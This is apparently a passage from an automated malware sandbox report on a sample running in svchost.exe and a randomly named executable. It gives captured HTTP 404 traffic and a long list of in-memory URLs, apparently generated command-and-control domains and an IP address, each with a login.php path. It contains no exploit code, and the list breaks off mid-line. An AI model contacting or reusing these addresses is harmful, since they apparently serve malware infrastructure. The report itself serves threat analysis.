disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:34 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:34 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: svchost.exe, 00000002.00000003.2427508592.00000000092AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://106.15.232.163/
Source: svchost.exe, 00000002.00000003.2427508592.00000000092AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://106.15.232.163/H
Source: svchost.exe, 00000002.00000003.2427508592.00000000092AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296118472.00000000092AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2292203484.00000000092AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://106.15.232.163:8000/dh/147287063_377283.html
Source: svchost.exe, 00000002.00000003.2427508592.00000000092AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://106.15.232.163:8000/dh/147287063_377283.htmlSoftware
Source: svchost.exe, 00000002.00000003.2359792353.000000000924A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360483972.000000000924A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacydes.com/
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacydes.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322813149.0000000003306000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacyfew.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacyfih.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacyhuw.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacykas.com/login.php
Source: svchost.exe, 00000002.00000003.2425971822.000000000338B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237916986.000000000337D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252938368.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacykeh.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacynow.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacynow.com/ww16.vofycot.com
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacynyh.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2546812858.00000000040F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacypyz.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329969836.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacypyz.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacyroh.com/login.php
Source: svchost.exe, 00000002.00000003.2853017937.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gacyryb.com/
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2866504343.000000000A29D000.00000004.00000010.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://gacyryw.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347178577.0000000003322000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349507832.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349422845.000000000332C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347613705.0000000003325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadycew.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376391418.000000000331E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376466077.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375586174.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379454788.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375980019.0000000003321000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377198818.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376798591.0000000003325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadydow.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2589419124.00000000033EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyfob.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyhyw.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadykyz.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008F91000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyniw.com/login.php
Source: svchost.exe, 00000002.00000003.2853017937.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadynub.com/http://volykek.com/http://qebytuv.com/
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadypub.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyquz.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyvis.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyzib.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511691560.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322419492.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311325697.000000000338E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2530049232.000000000332A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498534049.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511442886.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310062012.000000000338B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 